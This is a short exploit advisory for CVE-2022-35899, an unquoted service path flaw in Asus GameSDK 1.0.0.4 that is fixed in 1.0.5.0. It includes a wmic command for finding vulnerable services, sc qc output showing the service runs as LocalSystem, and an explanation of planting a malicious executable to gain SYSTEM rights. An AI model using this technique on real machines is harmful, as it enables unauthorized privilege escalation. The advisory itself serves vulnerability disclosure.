Asus GameSDK 1.0.0.4 Unquoted Service Path Vulnerability

# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path (Privilege Escalation)
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899
 
 
# Step to discover the unquoted service path:
 
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
 
# Info on the service:
 
C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
 
NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
 
# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".
 
# Impact
An attacker can elevate his privileges on the system and become NTAUTHORITY\SYSTEM.
 
# Poc Video
 
https://youtu.be/u_8JMIgn-5g
 
#  0day.today [2022-07-25]  #